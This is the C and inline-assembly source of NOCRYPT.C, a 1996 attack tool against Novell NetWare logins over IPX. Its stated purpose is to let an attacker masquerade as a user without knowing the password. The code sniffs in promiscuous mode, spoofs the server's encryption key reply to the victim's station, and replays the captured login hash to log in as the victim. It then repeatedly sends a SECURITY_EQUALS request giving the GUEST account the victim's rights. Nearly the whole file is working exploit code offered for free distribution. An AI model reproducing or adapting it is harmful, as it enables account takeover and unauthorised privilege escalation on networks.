NOCRYPT.C Program Source Code



/*This program was written and released on September 27, 1996 by
Greg Miller*/

/*NOCRYPT.C

This program allows an attacker to masquerade as a user whithout knowing the
user's password. For more information on using the program see
NOCRYPT.DOC.
For more information on how the attack works, see
ATTACK.DOC
*/

/*(C) 1996 by Greg Miller*/
/*Distribute freely*/

#include <stdio.h>
#include <string.h>

#define TRUE -1
#define FALSE 0
#define PACKET_TYPE 19
#define FUNCTION_CODE 50
#define SUBFUNC_CODE 53
#define KEY_OFFSET 54

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

BYTE username[20] = "GUEST"; //user to gain rights
BYTE membername[20] = "GMILLER"; //user rights to gain

BYTE server_network[4] = {0,0,0,15}; //server INTERNAL net
BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05}; //closest router addr

BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe}; //0000 won't work
BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83}; //my address

BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //addr to spoof

BYTE my_seq_no = 1;
BYTE my_con_no;
BYTE login_key[8];

int DataRemaining = TRUE;
int x;

BYTE packet[2000];
BYTE SendPacket[2000];
BYTE to_server[100];

WORD handle;
int packet_received = FALSE;
int NotDone = TRUE;

int c;
WORD pktlen;
WORD Sendpktlen;
WORD to_server_len;

void Initialize(){
}

static void far PacketReceived(){
/*This function is called by the packet driver when a packet is
received. If AX=0 when the function is called, the packet driver
is asking for a buffer to put the packet in. If AX=1 then the
packet has been copied into the buffer.
*/

_asm{
pop di //Borland C 3.1 pushes DI for some reason.
//Remove this line if your compiler doesn't.

cmp ax,1 //ax=0 for get buffer or 1 when done
jz copy_done

mov ax,seg packet
mov ES,ax
lea DI,packet
mov cx,2000 //buffer length
retf
}

copy_done:
packet_received = TRUE;
pktlen=_CX;

_asm{retf}
end:
}

void RegisterWithPKTDRV(){
/*This function registers the "protocol stack" with the packet
driver. We give it the address of the function to call when
a packet is received in ES:DI, the interface class in AL, and
the interface type in BX. DS:SI should point to the type of
packets to receive, with the length of the type in CX, however,
we'll just receive any type of packet so we leave DS:SI alone
and make CX=0.
We get a handle back from the INT 60h call in AX, we'll store
it for later use.
*/

_asm {
pusha

mov bx,0ffffh //Wild card for all interfaces
mov dl,0
mov cx,0 //receive any type of packet
mov ax, seg PacketReceived
mov es,ax
lea di, PacketReceived
mov ah,02
mov al,01 //class type for 3com 509
int 60h
jc err

mov handle,ax

popa
}

printf("Registered with packet driver\r\n");
return;
err:
printf("Error registering stack: %d\r\n",_DH);
_asm{popa}

}

void RelinquishProtocolStack(){
/* Relinqush control of the interface */

/*Release Type*/
_asm{ pusha

mov ah,3
mov bx,handle
int 60h
jc err
}


/*Terminate driver for handle*/
_asm{
mov ah,5
mov bx,handle
int 60h
jc err

popa
}

printf("Stack Relinqushed\r\n");
return;
err:
printf("Error releasing Stack: %d",_DH);
}

void SetReceiveMode(WORD mode){
/*This function puts the board in the specified mode by putting the
receive mode in CX and the handle in BX. Mode 6 is promiscuous
and mode 2 is normal.
*/
_asm{
pusha

mov ah,14h
mov bx,handle
mov cx,mode
int 60h
jc err

popa
}

printf("Mode set to %d\r\n",mode);
return;
err:
printf("Error entering promiscuous mode: %d\r\n",_DH);
_asm{popa}
}

void printhex(BYTE d){
BYTE temp;
_asm{
mov al,d
shr al,1
shr al,1
shr al,1
shr al,1
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c",temp);
_asm{
mov al,d
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c ",temp);
}

void SendPack(){

_asm{ pusha

mov ax,seg SendPacket
mov ds,ax
lea si,SendPacket
mov cx,Sendpktlen
mov ah,04
int 60h

jc err

popa
}
// printf("Sending:\r\n");
// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");
return;
err:
printf("Error sending packet: %d\r\n",_DH);
_asm{popa}
}

void SendEncryptionKeyReply(){
memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

//Put 802.3 length here.
SendPacket[12]=00;
SendPacket[13]=0x2e;

memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
SendPacket[16]=0;SendPacket[17]=0x2e; //IPX Length
SendPacket[18]=1; //Hop Count
SendPacket[19]=17; //Packet type = NCP
SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
memcpy(SendPacket+46,packet+46,4); //Seq num,con num,task,con num hi
SendPacket[50]=0; //Completion code
SendPacket[51]=0; //Connection Status

memcpy(SendPacket+52,login_key,8); //Key

Sendpktlen = 60;
// printf("Spoofing Encryption Key Reply\r\n");
SendPack();
}

void WaitForPacket(){
while(!packet_received){
}

// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");

packet_received=FALSE;
}

void WaitForStationLoginRequest(){

/*Discard first GetLoginKey()*/
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17) &&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==23)){
NotDone = FALSE;
}
}

WaitForPacket();

/*Wait for login key request and spoof it*/
NotDone=TRUE;
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17) &&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==23)){
NotDone = FALSE;
}
}
SendEncryptionKeyReply();

/*Wait for login request and pull hash out*/
NotDone = TRUE;
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17) &&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==24)){
NotDone = FALSE;
}
}
memcpy(login_key,packet+KEY_OFFSET,8);
printf("Hash Received\r\n");
for(c=0;c<8;c++){printhex(login_key[c]);}
printf("\r\n");
}
void SendToServer(){
_asm{ pusha

mov ax,seg to_server
mov ds,ax
lea si,to_server
mov cx,to_server_len
mov ah,04
int 60h

jc err

popa
}
// printf("Sending:\r\n");
// for(c=0;c<to_server_len;c++){printhex(to_server[c]);}
// printf("\r\n");
return;
err:
printf("Error sending packet: %d\r\n",_DH);
_asm{popa}
printf("Sending packet\r\n");
}

void InitializePacket(){

memcpy(to_server,server_addr,6);//803.3 dest
memcpy(to_server+6,my_addr,6); //802.3 source
//802.3 length
to_server[14] = 0xff; to_server[15]= 0xff;
//ipx length
to_server[18] = 0; //hop count
to_server[19] = 17; //packet type
memcpy(to_server+20,server_network,4);
to_server[24] = 0; to_server[25] = 0;
to_server[26] = 0; to_server[27] = 0;
to_server[28] = 0; to_server[29] = 1;
to_server[30] = 0x04; to_server[31] = 0x51;
memcpy(to_server+32,my_network,4);
memcpy(to_server+36,my_addr,6);
to_server[42]=0x40; to_server[43]=0x05;

}

void AttachToServer(){
to_server[44] = 0x11; to_server[45]= 0x11; //request type
to_server[46] = 0; //sequence no.
to_server[47] = 0xff; //connection no.

to_server[12]=0; to_server[13]=38; //802.3 length
to_server[16]=0; to_server[17]=37; //ipx length

to_server_len=48;
SendToServer();
}

int GetConNumber(){
while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==0))){}
if(packet[51]==0){
my_con_no=packet[47];
printf("Connected on con %d\r\n",my_con_no);
} else {
printf("Error connecting %d\r\n",packet[51]);
}
return -1;
}

void RequestLoginKey(){
to_server[12]=0; to_server[13]=40; //802.3 len
to_server[16]=0; to_server[17]=40; //IPX len

to_server[44]=0x22; to_server[45]=0x22; //request type;
to_server[46]=my_seq_no; //sequence no.
to_server[47]=my_con_no; //connection no.
to_server[48]=1; //tast no.
to_server[49]=0; //conn no high
to_server[50]=23; //func code
to_server[51]=0; to_server[52]=1; //subfunc len
to_server[53]=23; //subfunc code

to_server_len=54;
SendToServer();
}

int GetLoginKey(){
int x;
while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
if(packet[50]==0){
memcpy(login_key,packet+52,8);
printf("Retreived login key");
for(x=0;x<8;x++){printf(" %d",login_key[x]);}
printf("\r\n");
} else {
printf("Error getting login key %d\r\n",packet[50]);
}
my_seq_no++;
return -1;
}

/*-----------------------------
void WaitForLoginRequest(){
while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
(packet[45]==0x22) && (packet[50]==23) && (packet[53]==23))){}
}
-------------------------------
void SpoofKeyReply(){
memcpy(send_packet,packet+6,6); memcpy(send_packet+6,packet,6);
send_packet[12]=0; send_packet[13]=46;
send_packet[14]=0xFF; send_packet[15]=0xFF;
send_packet[16]=0; send_packet[17]=46;
send_packet[18]=0;
send_packet[19]=17;
memcpy(send_packet+20,packet+31,12);
memcpy(send_packet+32,packet+19,12);
send_packet[44]=0x33; send_packet[45]=0x33;
memcpy(send_packet+46,packet+46,4);
send_packet[50]=0;
send_packet[51]=0;
memcpy(send_packet+52,login_key,8);

SendPacket();
}
-------------------------------
void WaitForKeyedLoginRequest(){
int x;
while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
(packet[45]==0x22) && (packet[50]==23) && (packet[53]==24))){}
memcpy(login_key,packet+54,8);
printf("Got spoofed login key reply:");
for(x=0;x<7,x++) printf(" %d",login_key[x]);
printf("\r\n");
}
-------------------------------*/

void RequestKeyedLogin(){
BYTE objlen;
objlen=strlen(membername);

to_server[12]=0; to_server[13]=51+objlen; //802.3 len
to_server[16]=0; to_server[17]=51+objlen; //ipx len

to_server[44]=0x22; to_server[45]=0x22; //request type;
to_server[46]=my_seq_no; //sequence no.
to_server[47]=my_con_no; //connection no.
to_server[48]=1; //tast no.
to_server[49]=0; //conn no high
to_server[50]=23; //func code
to_server[51]=0; to_server[52]=12+objlen; //subfunc len
to_server[53]=24; //subfunc code
memcpy(to_server+54,login_key,8); //login key
to_server[62]=0; to_server[63]=1; //object type
to_server[64]=objlen; //object length
memcpy(to_server+65,membername,objlen); //object name

to_server_len=65+objlen;
SendToServer();
}
int GetKeyedLoginResults(){
while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
if(packet[50]==0){
memcpy(login_key,packet+52,8);
printf("Logged in\r\n");
} else {
printf("Error logging in %d\r\n",packet[50]);
}
my_seq_no++;
return -1;
}

void GrantRights(){
BYTE objlen;
BYTE memlen;

objlen = strlen(username);
memlen = strlen(membername);

to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len
to_server[12]=0; to_server[13]=to_server[17]; //802.3 len

to_server[44]=0x22;to_server[45]=0x22; //Request type
to_server[46]=my_seq_no; //Sequence No.
to_server[47]=my_con_no; //connection no.
to_server[48]=1; //Task no.
to_server[49]=0; //conn no. high
to_server[50]=23; //func code
to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun len
to_server[53]=65; //subfun code
to_server[54]=00; to_server[55]=1; //Object type
to_server[56]=objlen; //object len
memcpy(to_server+57,username,objlen); //object name
to_server[57+objlen]=15; //property len
memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly name
to_server[73+objlen]=0; to_server[74+objlen]=1; //member type
to_server[75+objlen]=memlen; //member length
memcpy(to_server+76+objlen,membername,memlen); //member name

printf("sublen %d\r\n",to_server[51]);

to_server_len=80+objlen+memlen;

for(x=0;x<100;x++) SendToServer();
}

void main(){

Initialize();
RegisterWithPKTDRV();

InitializePacket();

AttachToServer();
GetConNumber();

RequestLoginKey();
GetLoginKey();

SetReceiveMode(6); //Promiscuous mode

WaitForStationLoginRequest();

SetReceiveMode(2); //Normal mode

RequestKeyedLogin();
GetKeyedLoginResults();

GrantRights();

RelinquishProtocolStack();

}